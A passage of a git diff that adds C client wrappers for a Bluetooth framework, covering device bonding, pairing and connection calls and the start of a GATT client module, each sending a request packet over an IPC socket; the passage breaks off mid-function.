+ return false; + } + + return packet.devs_r.bbool; +} + +bool bt_device_is_encrypted(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + packet.devs_pl._bt_device_is_encrypted.transport = transport; + status = bt_device_send(ins, addr, &packet, BT_DEVICE_IS_ENCRYPTED); + if (status != BT_STATUS_SUCCESS) { + return false; + } + + return packet.devs_r.bbool; +} + +bool bt_device_is_bond_initiate_local(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + packet.devs_pl._bt_device_is_bond_initiate_local.transport = transport; + status = bt_device_send(ins, addr, &packet, BT_DEVICE_IS_BOND_INITIATE_LOCAL); + if (status != BT_STATUS_SUCCESS) { + return false; + } + + return packet.devs_r.bbool; +} + +bond_state_t bt_device_get_bond_state(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BOND_STATE_NONE); + packet.devs_pl._bt_device_get_bond_state.transport = transport; + status = bt_device_send(ins, addr, &packet, BT_DEVICE_GET_BOND_STATE); + if (status != BT_STATUS_SUCCESS) { + return BOND_STATE_NONE; + } + + return packet.devs_r.bstate; +} + +bool bt_device_is_bonded(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + packet.devs_pl._bt_device_is_bonded.transport = transport; + status = bt_device_send(ins, addr, &packet, BT_DEVICE_IS_BONDED); + if (status != BT_STATUS_SUCCESS) { + return false; + } + + return packet.devs_r.bbool; +} + +bt_status_t bt_device_connect(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + status = bt_device_send(ins, addr, &packet, BT_DEVICE_CONNECT); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_background_connect(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ + bt_message_packet_t packet; + bt_status_t status; + + if (addr) + memcpy(&packet.devs_pl._bt_device_background_connect, addr, sizeof(*addr)); + else + bt_addr_set_empty(&packet.devs_pl._bt_device_background_connect.addr); + packet.devs_pl._bt_device_background_connect.transport = transport; + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_BACKGROUND_CONNECT); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_background_disconnect(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.devs_pl._bt_device_background_disconnect, addr, sizeof(*addr)); + packet.devs_pl._bt_device_background_disconnect.transport = transport; + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_BACKGROUND_DISCONNECT); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_disconnect(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + status = bt_device_send(ins, addr, &packet, BT_DEVICE_DISCONNECT); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_connect_le(bt_instance_t* ins, + bt_address_t* addr, + ble_addr_type_t type, + ble_connect_params_t* param) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.devs_pl._bt_device_connect_le.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_connect_le.type = type; + memcpy(&packet.devs_pl._bt_device_connect_le.param, param, sizeof(*param)); + status = bt_device_send(ins, addr, &packet, BT_DEVICE_CONNECT_LE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_disconnect_le(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + status = bt_device_send(ins, addr, &packet, BT_DEVICE_DISCONNECT_LE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_connect_request_reply(bt_instance_t* ins, bt_address_t* addr, bool accept) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.devs_pl._bt_device_connect_request_reply.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_connect_request_reply.accept = accept; + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_CONNECT_REQUEST_REPLY); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +void bt_device_connect_all_profile(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, ); + (void)bt_device_send(ins, addr, &packet, BT_DEVICE_CONNECT_ALL_PROFILE); +} + +void bt_device_disconnect_all_profile(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, ); + (void)bt_device_send(ins, addr, &packet, BT_DEVICE_DISCONNECT_ALL_PROFILE); +} + +bt_status_t bt_device_set_le_phy(bt_instance_t* ins, + bt_address_t* addr, + ble_phy_type_t tx_phy, + ble_phy_type_t rx_phy) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.devs_pl._bt_device_set_le_phy.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_set_le_phy.tx_phy = tx_phy; + packet.devs_pl._bt_device_set_le_phy.rx_phy = rx_phy; + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_SET_LE_PHY); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_set_bondable_le(bt_instance_t* ins, bool bondable) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.devs_pl._bt_device_set_bondable_le.accept = bondable; + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_SET_BONDABLE_LE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_set_security_level(bt_instance_t* ins, uint8_t level, bt_transport_t transport) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.devs_pl._bt_device_set_security_level.level = level; + packet.devs_pl._bt_device_set_security_level.transport = transport; + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_SET_SECURITY_LEVEL); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_create_bond(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.devs_pl._bt_device_create_bond.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_create_bond.transport = transport; + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_CREATE_BOND); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_remove_bond(bt_instance_t* ins, bt_address_t* addr, uint8_t transport) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.devs_pl._bt_device_remove_bond.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_remove_bond.transport = transport; + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_REMOVE_BOND); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_cancel_bond(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.devs_pl._bt_device_cancel_bond.addr, addr, sizeof(*addr)); + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_CANCEL_BOND); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_pair_request_reply(bt_instance_t* ins, bt_address_t* addr, bool accept) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.devs_pl._bt_device_pair_request_reply.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_pair_request_reply.accept = accept; + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_PAIR_REQUEST_REPLY); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_set_pairing_confirmation(bt_instance_t* ins, bt_address_t* addr, uint8_t transport, bool accept) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.devs_pl._bt_device_set_pairing_confirmation.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_set_pairing_confirmation.transport = transport; + packet.devs_pl._bt_device_set_pairing_confirmation.accept = accept; + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_SET_PAIRING_CONFIRMATION); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_set_pin_code(bt_instance_t* ins, bt_address_t* addr, bool accept, + char* pincode, int len) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + if (len > sizeof(packet.devs_pl._bt_device_set_pin_code.pincode)) + return BT_STATUS_PARM_INVALID; + + memcpy(&packet.devs_pl._bt_device_set_pin_code.addr, addr, sizeof(*addr)); + memcpy(&packet.devs_pl._bt_device_set_pin_code.pincode, pincode, len); + packet.devs_pl._bt_device_set_pin_code.len = len; + packet.devs_pl._bt_device_set_pin_code.accept = accept; + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_SET_PIN_CODE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_set_pass_key(bt_instance_t* ins, bt_address_t* addr, uint8_t transport, bool accept, uint32_t passkey) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.devs_pl._bt_device_set_pass_key.addr, addr, sizeof(*addr)); + packet.devs_pl._bt_device_set_pass_key.transport = transport; + packet.devs_pl._bt_device_set_pass_key.accept = accept; + packet.devs_pl._bt_device_set_pass_key.passkey = passkey; + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_SET_PASS_KEY); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t BTSYMBOLS(bt_device_set_le_legacy_tk)(bt_instance_t* ins, bt_address_t* addr, bt_128key_t tk_val) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.devs_pl._bt_device_set_le_legacy_tk.addr, addr, sizeof(packet.devs_pl._bt_device_set_le_legacy_tk.addr)); + memcpy(packet.devs_pl._bt_device_set_le_legacy_tk.tk_val, tk_val, sizeof(packet.devs_pl._bt_device_set_le_legacy_tk.tk_val)); + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_SET_LE_LEGACY_TK); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_set_le_sc_remote_oob_data(bt_instance_t* ins, bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.devs_pl._bt_device_set_le_sc_remote_oob_data.addr, addr, sizeof(packet.devs_pl._bt_device_set_le_sc_remote_oob_data.addr)); + memcpy(packet.devs_pl._bt_device_set_le_sc_remote_oob_data.c_val, c_val, sizeof(packet.devs_pl._bt_device_set_le_sc_remote_oob_data.c_val)); + memcpy(packet.devs_pl._bt_device_set_le_sc_remote_oob_data.r_val, r_val, sizeof(packet.devs_pl._bt_device_set_le_sc_remote_oob_data.r_val)); + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_SET_LE_SC_REMOTE_OOB_DATA); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_get_le_sc_local_oob_data(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.devs_pl._bt_device_get_le_sc_local_oob_data.addr, addr, sizeof(packet.devs_pl._bt_device_get_le_sc_local_oob_data.addr)); + + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_GET_LE_SC_LOCAL_OOB_DATA); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.devs_r.status; +} + +bt_status_t bt_device_enable_enhanced_mode(bt_instance_t* ins, bt_address_t* addr, bt_enhanced_mode_t mode) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_enable_enhanced_mode.addr, addr, sizeof(packet.devs_pl._bt_device_enable_enhanced_mode.addr)); + packet.devs_pl._bt_device_enable_enhanced_mode.mode = mode; + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_ENABLE_ENHANCED_MODE); + + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.devs_r.status; +} + +bt_status_t bt_device_disable_enhanced_mode(bt_instance_t* ins, bt_address_t* addr, bt_enhanced_mode_t mode) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.devs_pl._bt_device_disable_enhanced_mode.addr, addr, sizeof(packet.devs_pl._bt_device_disable_enhanced_mode.addr)); + packet.devs_pl._bt_device_disable_enhanced_mode.mode = mode; + status = bt_socket_client_sendrecv(ins, &packet, BT_DEVICE_DISABLE_ENHANCED_MODE); + + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.devs_r.status; +} \ No newline at end of file diff --git a/framework/socket/bt_gattc.c b/framework/socket/bt_gattc.c new file mode 100644 index 0000000000000000000000000000000000000000..a23342451c1ab0ccc4603d3ca69515b6f5659b7e --- /dev/null +++ b/framework/socket/bt_gattc.c @@ -0,0 +1,414 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "gattc" + +#include <stdint.h> + +#include "bt_gattc.h" +#include "bt_internal.h" +#include "bt_profile.h" +#include "bt_socket.h" +#include "gattc_service.h" +#include "service_manager.h" +#include "utils/log.h" + +#define CHECK_NULL_PTR(ptr) \ + do { \ + if (!ptr) \ + return BT_STATUS_PARM_INVALID; \ + } while (0) + +bt_status_t bt_gattc_create_connect(bt_instance_t* ins, gattc_handle_t* phandle, gattc_callbacks_t* callbacks) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + CHECK_NULL_PTR(phandle); + + if (ins->gattc_remote_list == NULL) { + ins->gattc_remote_list = bt_list_new(free); + if (ins->gattc_remote_list == NULL) { + return BT_STATUS_NOMEM; + } + } + + gattc_remote = (bt_gattc_remote_t*)malloc(sizeof(bt_gattc_remote_t)); + if (!gattc_remote) { + status = BT_STATUS_NOMEM; + goto fail; + } + + gattc_remote->ins = ins; + gattc_remote->callbacks = callbacks; + + packet.gattc_pl._bt_gattc_create.cookie = PTR2INT(uint64_t) gattc_remote; + status = bt_socket_client_sendrecv(ins, &packet, BT_GATT_CLIENT_CREATE_CONNECT); + if (status != BT_STATUS_SUCCESS) { + goto fail; + } + if (packet.gattc_r.status != BT_STATUS_SUCCESS) { + status = packet.gattc_r.status; + goto fail; + } + + gattc_remote->cookie = packet.gattc_r.handle; + gattc_remote->user_phandle = phandle; + bt_list_add_tail(ins->gattc_remote_list, gattc_remote); + + *phandle = gattc_remote; + return BT_STATUS_SUCCESS; + +fail: + if (gattc_remote) { + free(gattc_remote); + } + if (!bt_list_length(ins->gattc_remote_list)) { + bt_list_free(ins->gattc_remote_list); + ins->gattc_remote_list = NULL; + } + return status; +} + +bt_status_t bt_gattc_delete_connect(gattc_handle_t conn_handle) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_instance_t* ins; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + void** user_phandle; + + CHECK_NULL_PTR(gattc_remote); + + ins = gattc_remote->ins; + packet.gattc_pl._bt_gattc_delete.handle = PTR2INT(uint64_t) gattc_remote->cookie; + status = bt_socket_client_sendrecv(ins, &packet, BT_GATT_CLIENT_DELETE_CONNECT); + user_phandle = gattc_remote->user_phandle; + bt_list_remove(ins->gattc_remote_list, gattc_remote); + *user_phandle = NULL; + + if (!bt_list_length(ins->gattc_remote_list)) { + bt_list_free(ins->gattc_remote_list); + ins->gattc_remote_list = NULL; + } + + if (status != BT_STATUS_SUCCESS) { + return status; + } + if (packet.gattc_r.status != BT_STATUS_SUCCESS) { + return packet.gattc_r.status; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_gattc_connect(gattc_handle_t conn_handle, bt_address_t* addr, ble_addr_type_t addr_type) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_connect.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_connect.addr_type = addr_type; + memcpy(&packet.gattc_pl._bt_gattc_connect.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_CONNECT); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gattc_r.status; +} + +bt_status_t bt_gattc_disconnect(gattc_handle_t conn_handle) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_disconnect.handle = PTR2INT(uint64_t) gattc_remote->cookie; + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_DISCONNECT); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gattc_r.status; +} + +bt_status_t bt_gattc_discover_service(gattc_handle_t conn_handle, bt_uuid_t* filter_uuid) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_discover_service.handle = PTR2INT(uint64_t) gattc_remote->cookie; + if (filter_uuid == NULL) + packet.gattc_pl._bt_gattc_discover_service.filter_uuid.type = 0; + else + memcpy(&packet.gattc_pl._bt_gattc_discover_service.filter_uuid, filter_uuid, sizeof(bt_uuid_t)); + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_DISCOVER_SERVICE); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gattc_r.status; +} + +bt_status_t bt_gattc_get_attribute_by_handle(gattc_handle_t conn_handle, uint16_t attr_handle, gatt_attr_desc_t* attr_desc) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_get_attr_by_handle.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_get_attr_by_handle.attr_handle = attr_handle; + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_GET_ATTRIBUTE_BY_HANDLE); + if (status != BT_STATUS_SUCCESS) + return status; + + memcpy(attr_desc, &packet.gattc_r.attr_desc, sizeof(gatt_attr_desc_t)); + return packet.gattc_r.status; +} + +bt_status_t bt_gattc_get_attribute_by_uuid(gattc_handle_t conn_handle, uint16_t start_handle, uint16_t end_handle, bt_uuid_t* attr_uuid, gatt_attr_desc_t* attr_desc) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_get_attr_by_uuid.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_get_attr_by_uuid.start_handle = start_handle; + packet.gattc_pl._bt_gattc_get_attr_by_uuid.end_handle = end_handle; + memcpy(&packet.gattc_pl._bt_gattc_get_attr_by_uuid.attr_uuid, attr_uuid, sizeof(bt_uuid_t)); + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_GET_ATTRIBUTE_BY_UUID); + if (status != BT_STATUS_SUCCESS) + return status; + + memcpy(attr_desc, &packet.gattc_r.attr_desc, sizeof(gatt_attr_desc_t)); + return packet.gattc_r.status; +} + +bt_status_t bt_gattc_read(gattc_handle_t conn_handle, uint16_t attr_handle) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_read.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_read.attr_handle = attr_handle; + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_READ); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gattc_r.status; +} + +bt_status_t bt_gattc_write(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + if (length > sizeof(packet.gattc_pl._bt_gattc_write.value)) + return BT_STATUS_PARM_INVALID; + + packet.gattc_pl._bt_gattc_write.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_write.attr_handle = attr_handle; + packet.gattc_pl._bt_gattc_write.length = length; + memcpy(packet.gattc_pl._bt_gattc_write.value, value, length); + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_WRITE); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gattc_r.status; +} + +bt_status_t bt_gattc_write_without_response(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + if (length > sizeof(packet.gattc_pl._bt_gattc_write.value)) + return BT_STATUS_PARM_INVALID; + + packet.gattc_pl._bt_gattc_write.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_write.attr_handle = attr_handle; + packet.gattc_pl._bt_gattc_write.length = length; + memcpy(packet.gattc_pl._bt_gattc_write.value, value, length); + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_WRITE_NR); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gattc_r.status; +} + +bt_status_t bt_gattc_write_with_signed(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + if (length > sizeof(packet.gattc_pl._bt_gattc_write.value)) + return BT_STATUS_PARM_INVALID; + + packet.gattc_pl._bt_gattc_write.handle = gattc_remote->cookie; + packet.gattc_pl._bt_gattc_write.attr_handle = attr_handle; + packet.gattc_pl._bt_gattc_write.length = length; + memcpy(packet.gattc_pl._bt_gattc_write.value, value, length); + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_WRITE_WITH_SIGNED); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gattc_r.status; +} + +bt_status_t bt_gattc_subscribe(gattc_handle_t conn_handle, uint16_t attr_handle, uint16_t ccc_value) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_subscribe.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_subscribe.attr_handle = attr_handle; + packet.gattc_pl._bt_gattc_subscribe.ccc_value = ccc_value; + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_SUBSCRIBE); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gattc_r.status; +} + +bt_status_t bt_gattc_unsubscribe(gattc_handle_t conn_handle, uint16_t attr_handle) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_subscribe.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_subscribe.attr_handle = attr_handle; + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_UNSUBSCRIBE); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gattc_r.status; +} + +bt_status_t bt_gattc_exchange_mtu(gattc_handle_t conn_handle, uint32_t mtu) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_exchange_mtu.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_exchange_mtu.mtu = mtu; + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_EXCHANGE_MTU); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gattc_r.status; +} + +bt_status_t bt_gattc_update_connection_parameter(gattc_handle_t conn_handle, uint32_t min_interval, uint32_t max_interval, uint32_t latency, + uint32_t timeout, uint32_t min_connection_event_length, uint32_t max_connection_event_length) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_update_connection_param.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_update_connection_param.min_interval = min_interval; + packet.gattc_pl._bt_gattc_update_connection_param.max_interval = max_interval; + packet.gattc_pl._bt_gattc_update_connection_param.latency = latency; + packet.gattc_pl._bt_gattc_update_connection_param.timeout = timeout; + packet.gattc_pl._bt_gattc_update_connection_param.min_connection_event_length = min_connection_event_length; + packet.gattc_pl._bt_gattc_update_connection_param.max_connection_event_length = max_connection_event_length; + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_UPDATE_CONNECTION_PARAM); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gattc_r.status; +} + +bt_status_t bt_gattc_read_phy(gattc_handle_t conn_handle) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_phy.handle = PTR2INT(uint64_t) gattc_remote->cookie; + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_READ_PHY); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gattc_r.status; +} + +bt_status_t bt_gattc_update_phy(gattc_handle_t conn_handle, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + bt_message_packet_t packet; + bt_status_t status; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_phy.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_phy.tx_phy = tx_phy; + packet.gattc_pl._bt_gattc_phy.rx_phy = rx_phy; + status = bt_socket_client_sendrecv(gattc_remote->ins, &packet, BT_GATT_CLIENT_UPDATE_PHY); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.gattc_r.status; +} + +bt_status_t bt_gattc_read_rssi(gattc_handle_t conn_handle) +{ + 